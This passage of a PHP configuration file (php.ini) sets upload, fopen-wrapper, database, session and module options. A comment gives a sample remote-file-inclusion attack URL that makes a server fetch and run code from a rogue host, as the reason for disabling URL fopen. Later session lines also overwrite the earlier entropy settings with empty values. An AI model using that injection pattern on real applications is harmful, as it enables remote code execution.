  737. ; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok
  738. ; what PATH_INFO is.  For more information on PATH_INFO, see the cgi specs.  Setting
  739. ; this to 1 will cause PHP CGI to fix it's paths to conform to the spec.  A setting
  740. ; of zero causes PHP to behave as before.  Default is 1.  You should fix your scripts
  741. ; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.
  742. cgi.fix_pathinfo=1
  743.  
  744. ; FastCGI under IIS (on WINNT based OS) supports the ability to impersonate
  745. ; security tokens of the calling client.  This allows IIS to define the
  746. ; security context that the request runs under.  mod_fastcgi under Apache
  747. ; does not currently support this feature (03/17/2002)
  748. ; Set to 1 if running under IIS.  Default is zero.
  749. ; fastcgi.impersonate = 1;
  750.  
  751. ; Disable logging through FastCGI connection
  752. ; fastcgi.logging = 0
  753.  
  754. ; cgi.rfc2616_headers configuration option tells PHP what type of headers to
  755. ; use when sending HTTP response code. If it's set 0 PHP sends Status: header that
  756. ; is supported by Apache. When this option is set to 1 PHP will send
  757. ; RFC2616 compliant header.
  758. ; Default is zero.
  759. ;cgi.rfc2616_headers = 0 
  760.  
  761.  
  762. ;;;;;;;;;;;;;;;;
  763. ; File Uploads ;
  764. ;;;;;;;;;;;;;;;;
  765.  
  766. ; Whether to allow HTTP file uploads.
  767. file_uploads = Off
  768.  
  769. ; Temporary directory for HTTP uploaded files (will use system default if not
  770. ; specified).
  771. ;
  772. ; Note: If enabled above you have to create this directory and set appropiate
  773. ; permissions. The default (/tmp) is insecure since other users might be able
  774. ; to access upload files or make symlink tricks.
  775. upload_tmp_dir = /var/lib/php5/uploads
  776.  
  777. ; Maximum allowed size for uploaded files.
  778. upload_max_filesize = 2M
  779.  
  780.  
  781. ;;;;;;;;;;;;;;;;;;
  782. ; Fopen wrappers ;
  783. ;;;;;;;;;;;;;;;;;;
  784.  
  785. ; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
  786. ; 
  787. ; This is turned off to avoid variable redefinition by remote attacker
  788. ; that attempts to have the server download (and execute) a remote file
  789. ; from a compromised host. This behaviour has been observed in automatic
  790. ; scanning against badly written applications:
  791. ; http://myhost/myapplication.php?include=http://roguesever/rogueapp.php
  792. allow_url_fopen = Off
  793.  
  794. ; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
  795. allow_url_include = Off
  796.  
  797. ; Define the anonymous ftp password (your email address)
  798. ;from="john@doe.com"
  799.  
  800. ; Define the User-Agent string
  801. ; user_agent="PHP"
  802.  
  803. ; Default timeout for socket based streams (seconds)
  804. default_socket_timeout = 60
  805.  
  806. ; If your scripts have to deal with files from Macintosh systems,
  807. ; or you are running on a Mac and need to deal with files from
  808. ; unix or win32 systems, setting this flag will cause PHP to
  809. ; automatically detect the EOL character in those files so that
  810. ; fgets() and file() will work regardless of the source of the file.
  811. ; auto_detect_line_endings = Off
  812.  
  813.  
  814. ;;;;;;;;;;;;;;;;;;;;;;
  815. ; Dynamic Extensions ;
  816. ;;;;;;;;;;;;;;;;;;;;;;
  817. ;
  818. ; If you wish to have an extension loaded automatically, use the following
  819. ; syntax:
  820. ;
  821. ;   extension=modulename.extension
  822. ;
  823. ; For example, on Windows:
  824. ;
  825. ;   extension=msql.dll
  826. ;
  827. ; ... or under UNIX:
  828. ;
  829. ;   extension=msql.so
  830. ;
  831. ; Note that it should be the name of the module only; no directory information 
  832. ; needs to go here.  Specify the location of the extension with the
  833. ; extension_dir directive above.
  834.  
  835.  
  836. ;;;;;;;;;;;;;;;;;;;
  837. ; Module Settings ;
  838. ;;;;;;;;;;;;;;;;;;;
  839.  
  840. [Date]
  841. ; Defines the default timezone used by the date functions
  842. ;date.timezone =
  843.  
  844. ;date.default_latitude = 31.7667
  845. ;date.default_longitude = 35.2333
  846.  
  847. ;date.sunrise_zenith = 90.583333
  848. ;date.sunset_zenith = 90.583333
  849.  
  850. [filter]
  851. ;filter.default = unsafe_raw
  852. ;filter.default_flags =
  853.  
  854. [iconv]
  855. ;iconv.input_encoding = ISO-8859-1
  856. ;iconv.internal_encoding = ISO-8859-1
  857. ;iconv.output_encoding = ISO-8859-1
  858.  
  859. [sqlite]
  860. ;sqlite.assoc_case = 0
  861.  
  862. [xmlrpc]
  863. ;xmlrpc_error_number = 0
  864. ;xmlrpc_errors = 0
  865.  
  866. [Pcre]
  867. ;PCRE library backtracking limit.
  868. ;pcre.backtrack_limit=100000
  869.  
  870. ;PCRE library recursion limit. 
  871. ;Please note that if you set this value to a high number you may consume all 
  872. ;the available process stack and eventually crash PHP (due to reaching the 
  873. ;stack size limit imposed by the Operating System).
  874. ;pcre.recursion_limit=100000
  875.  
  876. [Syslog]
  877. ; Whether or not to define the various syslog variables (e.g. $LOG_PID,
  878. ; $LOG_CRON, etc.).  Turning it off is a good idea performance-wise.  In
  879. ; runtime, you can define these variables by calling define_syslog_variables().
  880. define_syslog_variables  = Off
  881.  
  882. [mail function]
  883. ; For Win32 only.
  884. SMTP = localhost
  885. smtp_port = 25
  886.  
  887. ; For Win32 only.
  888. ;sendmail_from = me@example.com
  889.  
  890. ; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").
  891. ;sendmail_path =
  892.  
  893. ; Force the addition of the specified parameters to be passed as extra parameters
  894. ; to the sendmail binary. These parameters will always replace the value of
  895. ; the 5th parameter to mail(), even in safe mode.
  896. ;mail.force_extra_parameters =
  897.  
  898. [SQL]
  899. ; This configuration directive is unrelated to safe_mode.
  900. ; If enabled, connections to databases (like mysql_connect() or mysql_pconnect())
  901. ; will ignore the arguments provided (which include username and password) and
  902. ; will attempt to connect always using default values. These default values
  903. ; are typically host=localhost, user=the script owner,password=empty password.
  904. ;
  905. ; Note (paranoid): This is disabled as it is not actually a security measure, unless
  906. ; you want script to not have users and passwords hardcoded in them.
  907. sql.safe_mode = Off
  908.  
  909. [ODBC]
  910. ;odbc.default_db    =  Not yet implemented
  911. ;odbc.default_user  =  Not yet implemented
  912. ;odbc.default_pw    =  Not yet implemented
  913.  
  914. ; Allow or prevent persistent links.
  915. odbc.allow_persistent = On
  916.  
  917. ; Check that a connection is still valid before reuse.
  918. odbc.check_persistent = On
  919.  
  920. ; Maximum number of persistent links.  -1 means no limit.
  921. odbc.max_persistent = -1
  922.  
  923. ; Maximum number of links (persistent + non-persistent).  -1 means no limit.
  924. odbc.max_links = -1
  925.  
  926. ; Handling of LONG fields.  Returns number of bytes to variables.  0 means
  927. ; passthru.
  928. odbc.defaultlrl = 4096
  929.  
  930. ; Handling of binary data.  0 means passthru, 1 return as is, 2 convert to char.
  931. ; See the documentation on odbc_binmode and odbc_longreadlen for an explanation
  932. ; of uodbc.defaultlrl and uodbc.defaultbinmode
  933. odbc.defaultbinmode = 1
  934.  
  935. [MySQL]
  936. ; Allow or prevent persistent links.
  937. mysql.allow_persistent = On
  938.  
  939. ; Maximum number of persistent links.  -1 means no limit.
  940. mysql.max_persistent = -1
  941.  
  942. ; Maximum number of links (persistent + non-persistent).  -1 means no limit.
  943. mysql.max_links = -1
  944.  
  945. ; Default port number for mysql_connect().  If unset, mysql_connect() will use
  946. ; the $MYSQL_TCP_PORT or the mysql-tcp entry in /etc/services or the
  947. ; compile-time value defined MYSQL_PORT (in that order).  Win32 will only look
  948. ; at MYSQL_PORT.
  949. mysql.default_port =
  950.  
  951. ; Default socket name for local MySQL connects.  If empty, uses the built-in
  952. ; MySQL defaults.
  953. mysql.default_socket =
  954.  
  955. ; Default host for mysql_connect() (doesn't apply in safe mode).
  956. mysql.default_host =
  957.  
  958. ; Default user for mysql_connect() (doesn't apply in safe mode).
  959. mysql.default_user =
  960.  
  961. ; Default password for mysql_connect() (doesn't apply in safe mode).
  962. ; Note that this is generally a *bad* idea to store passwords in this file.
  963. ; *Any* user with PHP access can run 'echo get_cfg_var("mysql.default_password")
  964. ; and reveal this password!  And of course, any users with read access to this
  965. ; file will be able to reveal the password as well.
  966. mysql.default_password =
  967.  
  968. ; Maximum time (in seconds) for connect timeout. -1 means no limit
  969. mysql.connect_timeout = 60
  970.  
  971. ; Trace mode. When trace_mode is active (=On), warnings for table/index scans and
  972. ; SQL-Errors will be displayed.
  973. mysql.trace_mode = Off
  974.  
  975. [MySQLi]
  976.  
  977. ; Maximum number of links.  -1 means no limit.
  978. mysqli.max_links = -1
  979.  
  980. ; Default port number for mysqli_connect().  If unset, mysqli_connect() will use
  981. ; the $MYSQL_TCP_PORT or the mysql-tcp entry in /etc/services or the
  982. ; compile-time value defined MYSQL_PORT (in that order).  Win32 will only look
  983. ; at MYSQL_PORT.
  984. mysqli.default_port = 3306
  985.  
  986. ; Default socket name for local MySQL connects.  If empty, uses the built-in
  987. ; MySQL defaults.
  988. mysqli.default_socket =
  989.  
  990. ; Default host for mysql_connect() (doesn't apply in safe mode).
  991. mysqli.default_host =
  992.  
  993. ; Default user for mysql_connect() (doesn't apply in safe mode).
  994. mysqli.default_user =
  995.  
  996. ; Default password for mysqli_connect() (doesn't apply in safe mode).
  997. ; Note that this is generally a *bad* idea to store passwords in this file.
  998. ; *Any* user with PHP access can run 'echo get_cfg_var("mysqli.default_pw")
  999. ; and reveal this password!  And of course, any users with read access to this
  1000. ; file will be able to reveal the password as well.
  1001. mysqli.default_pw =
  1002.  
  1003. ; Allow or prevent reconnect
  1004. mysqli.reconnect = Off
  1005.  
  1006. [mSQL]
  1007. ; Allow or prevent persistent links.
  1008. msql.allow_persistent = On
  1009.  
  1010. ; Maximum number of persistent links.  -1 means no limit.
  1011. msql.max_persistent = -1
  1012.  
  1013. ; Maximum number of links (persistent+non persistent).  -1 means no limit.
  1014. msql.max_links = -1
  1015.  
  1016. [OCI8]
  1017. ; enables privileged connections using external credentials (OCI_SYSOPER, OCI_SYSDBA)
  1018. ;oci8.privileged_connect = Off
  1019.  
  1020. ; Connection: The maximum number of persistent OCI8 connections per
  1021. ; process. Using -1 means no limit.
  1022. ;oci8.max_persistent = -1
  1023.  
  1024. ; Connection: The maximum number of seconds a process is allowed to
  1025. ; maintain an idle persistent connection. Using -1 means idle
  1026. ; persistent connections will be maintained forever.
  1027. ;oci8.persistent_timeout = -1
  1028.  
  1029. ; Connection: The number of seconds that must pass before issuing a
  1030. ; ping during oci_pconnect() to check the connection validity. When
  1031. ; set to 0, each oci_pconnect() will cause a ping. Using -1 disables
  1032. ; pings completely.
  1033. ;oci8.ping_interval = 60
  1034.  
  1035. ; Tuning: This option enables statement caching, and specifies how
  1036. ; many statements to cache. Using 0 disables statement caching.
  1037. ;oci8.statement_cache_size = 20
  1038.  
  1039. ; Tuning: Enables statement prefetching and sets the default number of
  1040. ; rows that will be fetched automatically after statement execution.
  1041. ;oci8.default_prefetch = 10
  1042.  
  1043. ; Compatibility. Using On means oci_close() will not close
  1044. ; oci_connect() and oci_new_connect() connections.
  1045. ;oci8.old_oci_close_semantics = Off
  1046.  
  1047. [PostgresSQL]
  1048. ; Allow or prevent persistent links.
  1049. pgsql.allow_persistent = On
  1050.  
  1051. ; Detect broken persistent links always with pg_pconnect().
  1052. ; Auto reset feature requires a little overheads.
  1053. pgsql.auto_reset_persistent = Off
  1054.  
  1055. ; Maximum number of persistent links.  -1 means no limit.
  1056. pgsql.max_persistent = -1
  1057.  
  1058. ; Maximum number of links (persistent+non persistent).  -1 means no limit.
  1059. pgsql.max_links = -1
  1060.  
  1061. ; Ignore PostgreSQL backends Notice message or not.
  1062. ; Notice message logging require a little overheads.
  1063. pgsql.ignore_notice = 0
  1064.  
  1065. ; Log PostgreSQL backends Noitce message or not.
  1066. ; Unless pgsql.ignore_notice=0, module cannot log notice message.
  1067. pgsql.log_notice = 0
  1068.  
  1069. [Sybase]
  1070. ; Allow or prevent persistent links.
  1071. sybase.allow_persistent = On
  1072.  
  1073. ; Maximum number of persistent links.  -1 means no limit.
  1074. sybase.max_persistent = -1
  1075.  
  1076. ; Maximum number of links (persistent + non-persistent).  -1 means no limit.
  1077. sybase.max_links = -1
  1078.  
  1079. ;sybase.interface_file = "/usr/sybase/interfaces"
  1080.  
  1081. ; Minimum error severity to display.
  1082. sybase.min_error_severity = 10
  1083.  
  1084. ; Minimum message severity to display.
  1085. sybase.min_message_severity = 10
  1086.  
  1087. ; Compatibility mode with old versions of PHP 3.0.
  1088. ; If on, this will cause PHP to automatically assign types to results according
  1089. ; to their Sybase type, instead of treating them all as strings.  This
  1090. ; compatibility mode will probably not stay around forever, so try applying
  1091. ; whatever necessary changes to your code, and turn it off.
  1092. sybase.compatability_mode = Off
  1093.  
  1094. [Sybase-CT]
  1095. ; Allow or prevent persistent links.
  1096. sybct.allow_persistent = On
  1097.  
  1098. ; Maximum number of persistent links.  -1 means no limit.
  1099. sybct.max_persistent = -1
  1100.  
  1101. ; Maximum number of links (persistent + non-persistent).  -1 means no limit.
  1102. sybct.max_links = -1
  1103.  
  1104. ; Minimum server message severity to display.
  1105. sybct.min_server_severity = 10
  1106.  
  1107. ; Minimum client message severity to display.
  1108. sybct.min_client_severity = 10
  1109.  
  1110. [bcmath]
  1111. ; Number of decimal digits for all bcmath functions.
  1112. bcmath.scale = 0
  1113.  
  1114. [browscap]
  1115. ;browscap = extra/browscap.ini
  1116.  
  1117. [Informix]
  1118. ; Default host for ifx_connect() (doesn't apply in safe mode).
  1119. ifx.default_host =
  1120.  
  1121. ; Default user for ifx_connect() (doesn't apply in safe mode).
  1122. ifx.default_user =
  1123.  
  1124. ; Default password for ifx_connect() (doesn't apply in safe mode).
  1125. ifx.default_password =
  1126.  
  1127. ; Allow or prevent persistent links.
  1128. ifx.allow_persistent = On
  1129.  
  1130. ; Maximum number of persistent links.  -1 means no limit.
  1131. ifx.max_persistent = -1
  1132.  
  1133. ; Maximum number of links (persistent + non-persistent).  -1 means no limit.
  1134. ifx.max_links = -1
  1135.  
  1136. ; If on, select statements return the contents of a text blob instead of its id.
  1137. ifx.textasvarchar = 0
  1138.  
  1139. ; If on, select statements return the contents of a byte blob instead of its id.
  1140. ifx.byteasvarchar = 0
  1141.  
  1142. ; Trailing blanks are stripped from fixed-length char columns.  May help the
  1143. ; life of Informix SE users.
  1144. ifx.charasvarchar = 0
  1145.  
  1146. ; If on, the contents of text and byte blobs are dumped to a file instead of
  1147. ; keeping them in memory.
  1148. ifx.blobinfile = 0
  1149.  
  1150. ; NULL's are returned as empty strings, unless this is set to 1.  In that case,
  1151. ; NULL's are returned as string 'NULL'.
  1152. ifx.nullformat = 0
  1153.  
  1154. [Session]
  1155. ; Handler used to store/retrieve data.
  1156. session.save_handler = files
  1157.  
  1158. ; Argument passed to save_handler.  In the case of files, this is the path
  1159. ; where data files are stored. Note: Windows users have to change this
  1160. ; variable in order to use PHP's session functions.
  1161. ;
  1162. ; As of PHP 4.0.1, you can define the path as:
  1163. ;
  1164. ;     session.save_path = "N;/path"
  1165. ;
  1166. ; where N is an integer.  Instead of storing all the session files in
  1167. ; /path, what this will do is use subdirectories N-levels deep, and
  1168. ; store the session data in those directories.  This is useful if you
  1169. ; or your OS have problems with lots of files in one directory, and is
  1170. ; a more efficient layout for servers that handle lots of sessions.
  1171. ;
  1172. ; NOTE 1: PHP will not create this directory structure automatically.
  1173. ;         You can use the script in the ext/session dir for that purpose.
  1174. ; NOTE 2: See the section on garbage collection below if you choose to
  1175. ;         use subdirectories for session storage
  1176. ;
  1177. ; The file storage module creates files using mode 600 by default.
  1178. ; You can change that by using
  1179. ;
  1180. ;     session.save_path = "N;MODE;/path"
  1181. ;
  1182. ; where MODE is the octal representation of the mode. Note that this
  1183. ; does not overwrite the process's umask.
  1184. session.save_path = /var/lib/php5
  1185.  
  1186. ; Substring to check each HTTP Referer for. If the Referer was sent by the
  1187. ; client and the substring was not found, the embedded session id will be marked
  1188. ; as invalid. Defaults to the empty string.
  1189. ; Note (paranoid): to prevent some XSS attacks should be defined to the server's URI
  1190. ; session.referer_check = 
  1191.  
  1192.  
  1193. ; Path to an external resource (file) which will be used as an additional
  1194. ; entropy source in the session id creation process. 
  1195. ; Note (paranoid): /dev/urandom is not fully random but if /dev/random is used
  1196. ; the entropy pool could be exhaused by constantly asking for session ids and 
  1197. ; would compromise other applications relying on randomness
  1198. session.entropy_file = "/dev/urandom"
  1199.  
  1200. ; Number of bytes which will be read from the file specified above. 
  1201. ; Defaults to 0 (disabled).
  1202. session.entropy_length = 6
  1203.  
  1204. ; Whether to use cookies.
  1205. session.use_cookies = 1
  1206.  
  1207. ; If this option is enabled cookies are only sent through secure (SSL)
  1208. ; connections and, consequently, are more difficult to intercept.
  1209. ; (disabled by default)
  1210. session.cookie_secure = 1
  1211.  
  1212. ; This option enables administrators to make their users invulnerable to 
  1213. ; attacks which involve passing session ids in URLs; defaults to 1 (since PHP 6.0).
  1214. session.use_only_cookies = 1
  1215.  
  1216. ; Name of the session (used as cookie name).
  1217. session.name = PHPSESSID
  1218.  
  1219. ; Initialize session on request startup.
  1220. session.auto_start = 0
  1221.  
  1222. ; Lifetime in seconds of cookie or, if 0, until browser is restarted.
  1223. session.cookie_lifetime = 0
  1224.  
  1225. ; The path for which the cookie is valid.
  1226. ; Note (paranoid): Applications should restrict the path where the cookie
  1227. ; is valid through use of session_set_cookie_params().
  1228. session.cookie_path = /
  1229.  
  1230. ; The domain for which the cookie is valid.
  1231. ; Note (paranoid): Make sure you configure this for your site 
  1232. session.cookie_domain =
  1233.  
  1234. ; Whether or not to add the httpOnly flag to the cookie, which makes it inaccessible to browser scripting languages such as JavaScript.
  1235. session.cookie_httponly = 1
  1236.  
  1237. ; Handler used to serialize data.  php is the standard serializer of PHP.
  1238. session.serialize_handler = php
  1239.  
  1240. ; Define the probability that the 'garbage collection' process is started
  1241. ; on every session initialization.
  1242. ; The probability is calculated by using gc_probability/gc_divisor,
  1243. ; e.g. 1/100 means there is a 1% chance that the GC process starts
  1244. ; on each request.
  1245.  
  1246. ; This is disabled in the Debian packages, due to the strict permissions
  1247. ; on /var/lib/php5.  Instead of setting this here, see the cronjob at
  1248. ; /etc/cron.d/php5, which uses the session.gc_maxlifetime setting below
  1249. ;session.gc_probability = 0
  1250. session.gc_divisor     = 100
  1251.  
  1252. ; After this number of seconds, stored data will be seen as 'garbage' and
  1253. ; cleaned up by the garbage collection process.
  1254. session.gc_maxlifetime = 1440
  1255.  
  1256. ; NOTE: If you are using the subdirectory option for storing session files
  1257. ;       (see session.save_path above), then garbage collection does *not*
  1258. ;       happen automatically.  You will need to do your own garbage
  1259. ;       collection through a shell script, cron entry, or some other method.
  1260. ;       For example, the following script would is the equivalent of
  1261. ;       setting session.gc_maxlifetime to 1440 (1440 seconds = 24 minutes):
  1262. ;          cd /path/to/sessions; find -cmin +24 | xargs rm
  1263.  
  1264. ; PHP 4.2 and less have an undocumented feature/bug that allows you to
  1265. ; to initialize a session variable in the global scope, albeit register_globals
  1266. ; is disabled.  PHP 4.3 and later will warn you, if this feature is used.
  1267. ; You can disable the feature and the warning separately. At this time,
  1268. ; the warning is only displayed, if bug_compat_42 is enabled.
  1269.  
  1270. session.bug_compat_42 = 0
  1271. session.bug_compat_warn = 1
  1272.  
  1273. ; Check HTTP Referer to invalidate externally stored URLs containing ids.
  1274. ; HTTP_REFERER has to contain this substring for the session to be
  1275. ; considered as valid.
  1276. session.referer_check =
  1277.  
  1278. ; How many bytes to read from the file.
  1279. session.entropy_length = 0
  1280.  
  1281. ; Specified here to create the session id.
  1282. session.entropy_file =
  1283.  
  1284. ;session.entropy_length = 16
  1285.  
  1286. ;session.entropy_file = /dev/urandom
  1287.  
  1288. ; Set to {nocache,private,public,} to determine HTTP caching aspects
  1289. ; or leave this empty to avoid sending anti-caching headers.
  1290. session.cache_limiter = nocache
  1291.  
  1292. ; Document expires after n minutes.
  1293. session.cache_expire = 180
  1294.  
  1295. ; trans sid support is disabled by default.
  1296. ; Use of trans sid may risk your users security.
  1297. ; Use this option with caution.
  1298. ; - User may send URL contains active session ID
  1299. ;   to other person via. email/irc/etc.
  1300. ; - URL that contains active session ID may be stored
  1301. ;   in publically accessible computer.
  1302. ; - User may access your site with the same session ID
  1303. ;   always using URL stored in browser's history or bookmarks.
  1304. session.use_trans_sid = 0
  1305.  
  1306. ; Select a hash function
  1307. ; 0: MD5   (128 bits)
  1308. ; 1: SHA-1 (160 bits)
  1309. ; Note (paranoic): Set to SHA-1 since there are known attacks against MD5
  1310. ; although the algorithm is not yet broken)
  1311. session.hash_function = 1
  1312.  
  1313. ; Define how many bits are stored in each character when converting
  1314. ; the binary hash data to something readable.
  1315. ;
  1316. ; 4 bits: 0-9, a-f
  1317. ; 5 bits: 0-9, a-v
  1318. ; 6 bits: 0-9, a-z, A-Z, "-", ","
  1319. session.hash_bits_per_character = 4
  1320.  
  1321. ; The URL rewriter will look for URLs in a defined set of HTML tags.
  1322. ; form/fieldset are special; if you include them here, the rewriter will
  1323. ; add a hidden <input> field with the info which is otherwise appended
  1324. ; to URLs.  If you want XHTML conformity, remove the form entry.
  1325. ; Note that all valid entries require a "=", even if no value follows.
  1326. url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry,fieldset="
  1327.  
  1328. [MSSQL]
  1329. ; Allow or prevent persistent links.
  1330. mssql.allow_persistent = On
  1331.  
  1332. ; Maximum number of persistent links.  -1 means no limit.
  1333. mssql.max_persistent = -1
  1334.  
  1335. ; Maximum number of links (persistent+non persistent).  -1 means no limit.
  1336. mssql.max_links = -1
  1337.  
  1338. ; Minimum error severity to display.
  1339. mssql.min_error_severity = 10
  1340.  
  1341. ; Minimum message severity to display.
  1342. mssql.min_message_severity = 10
  1343.  
  1344. ; Compatibility mode with old versions of PHP 3.0.
  1345. mssql.compatability_mode = Off
  1346.  
  1347. ; Connect timeout
  1348. ;mssql.connect_timeout = 5
  1349.  
  1350. ; Query timeout
  1351. ;mssql.timeout = 60
  1352.  
  1353. ; Valid range 0 - 2147483647.  Default = 4096.
  1354. ;mssql.textlimit = 4096
  1355.  
  1356. ; Valid range 0 - 2147483647.  Default = 4096.
  1357. ;mssql.textsize = 4096
  1358.  
  1359. ; Limits the number of records in each batch.  0 = all records in one batch.
  1360. ;mssql.batchsize = 0
  1361.  
  1362. ; Specify how datetime and datetim4 columns are returned
  1363. ; On => Returns data converted to SQL server settings
  1364. ; Off => Returns values as YYYY-MM-DD hh:mm:ss
  1365. ;mssql.datetimeconvert = On
  1366.  
  1367. ; Use NT authentication when connecting to the server
  1368. mssql.secure_connection = On
  1369.  
  1370. ; Specify max number of processes. -1 = library default
  1371. ; msdlib defaults to 25
  1372. ; FreeTDS defaults to 4096
  1373. ;mssql.max_procs = -1
  1374.  
  1375. ; Specify client character set. 
  1376. ; If empty or not set the client charset from freetds.comf is used
  1377. ; This is only used when compiled with FreeTDS
  1378. ;mssql.charset = "ISO-8859-1"
  1379.  
  1380. [Assertion]
  1381. ; Assert(expr); active by default.
  1382. ;assert.active = On
  1383.  
  1384. ; Issue a PHP warning for each failed assertion.
  1385. ;assert.warning = On
  1386.  
  1387. ; Don't bail out by default.
  1388. ;assert.bail = Off
  1389.  
  1390. ; User-function to be called if an assertion fails.
  1391. ;assert.callback = 0
  1392.  
  1393. ; Eval the expression with current error_reporting().  Set to true if you want
  1394. ; error_reporting(0) around the eval().
  1395. ;assert.quiet_eval = 0
  1396.  
  1397. [COM]
  1398. ; path to a file containing GUIDs, IIDs or filenames of files with TypeLibs
  1399. ;com.typelib_file =
  1400. ; allow Distributed-COM calls
  1401. ;com.allow_dcom = true
  1402. ; autoregister constants of a components typlib on com_load()
  1403. ;com.autoregister_typelib = true
  1404. ; register constants casesensitive
  1405. ;com.autoregister_casesensitive = false
  1406. ; show warnings on duplicate constant registrations
  1407. ;com.autoregister_verbose = true
  1408.  
  1409. [mbstring]
  1410. ; language for internal character representation.
  1411. ;mbstring.language = Japanese
  1412.  
  1413. ; internal/script encoding.
  1414. ; Some encoding cannot work as internal encoding.
  1415. ; (e.g. SJIS, BIG5, ISO-2022-*)
  1416. ;mbstring.internal_encoding = EUC-JP
  1417.  
  1418. ; http input encoding.
  1419. ;mbstring.http_input = auto
  1420.  
  1421. ; http output encoding. mb_output_handler must be
  1422. ; registered as output buffer to function
  1423. ;mbstring.http_output = SJIS
  1424.  
  1425. ; enable automatic encoding translation according to 
  1426. ; mbstring.internal_encoding setting. Input chars are
  1427. ; converted to internal encoding by setting this to On.
  1428. ; Note: Do _not_ use automatic encoding translation for
  1429. ;       portable libs/applications.
  1430. ;mbstring.encoding_translation = Off
  1431.  
  1432. ; automatic encoding detection order.
  1433. ; auto means
  1434. ;mbstring.detect_order = auto
  1435.  
  1436. ; substitute_character used when character cannot be converted
  1437. ; one from another
  1438. ;mbstring.substitute_character = none;
  1439.  
  1440. ; overload(replace) single byte functions by mbstring functions.
  1441. ; mail(), ereg(), etc are overloaded by mb_send_mail(), mb_ereg(),
  1442. ; etc. Possible values are 0,1,2,4 or combination of them.
  1443. ; For example, 7 for overload everything.
  1444. ; 0: No overload
  1445. ; 1: Overload mail() function
  1446. ; 2: Overload str*() functions
  1447. ; 4: Overload ereg*() functions
  1448. ;mbstring.func_overload = 0
  1449.  
  1450. [FrontBase]
  1451. ;fbsql.allow_persistent = On
  1452. ;fbsql.autocommit = On
  1453. ;fbsql.show_timestamp_decimals = Off
  1454. ;fbsql.default_database =
  1455. ;fbsql.default_database_password =
  1456. ;fbsql.default_host =
  1457. ;fbsql.default_password =
  1458. ;fbsql.default_user = "_SYSTEM"
  1459. ;fbsql.generate_warnings = Off
  1460. ;fbsql.max_connections = 128
  1461. ;fbsql.max_links = 128
  1462. ;fbsql.max_persistent = -1
  1463. ;fbsql.max_results = 128
  1464.  
  1465. [gd]
  1466. ; Tell the jpeg decode to libjpeg warnings and try to create
  1467. ; a gd image. The warning will then be displayed as notices
  1468. ; disabled by default
  1469. ;gd.jpeg_ignore_warning = 0
  1470.  
  1471. [exif]
  1472. ; Exif UNICODE user comments are handled as UCS-2BE/UCS-2LE and JIS as JIS.
  1473. ; With mbstring support this will automatically be converted into the encoding
  1474. ; given by corresponding encode setting. When empty mbstring.internal_encoding
  1475. ; is used. For the decode settings you can distinguish between motorola and
  1476. ; intel byte order. A decode setting cannot be empty.
  1477. ;exif.encode_unicode = ISO-8859-15
  1478. ;exif.decode_unicode_motorola = UCS-2BE
  1479. ;exif.decode_unicode_intel    = UCS-2LE
  1480. ;exif.encode_jis =
  1481. ;exif.decode_jis_motorola = JIS
  1482. ;exif.decode_jis_intel    = JIS
  1483.  
  1484. [Tidy]
  1485. ; The path to a default tidy configuration file to use when using tidy
  1486. ;tidy.default_config = /usr/local/lib/php/default.tcfg
  1487.  
  1488. ; Should tidy clean and repair output automatically?
  1489. ; WARNING: Do not use this option if you are generating non-html content
  1490. ; such as dynamic images
  1491. tidy.clean_output = Off
  1492.  
  1493. [soap]
  1494. ; Enables or disables WSDL caching feature.
  1495. soap.wsdl_cache_enabled=1
  1496. ; Sets the directory name where SOAP extension will put cache files.
  1497. soap.wsdl_cache_dir="/var/lib/php5/soap-cache"
  1498. ; (time to live) Sets the number of second while cached file will be used 
  1499. ; instead of original one.
  1500. soap.wsdl_cache_ttl=86400
  1501.  
  1502. ; Local Variables:
  1503. ; tab-width: 4
  1504. ; End:
  1505.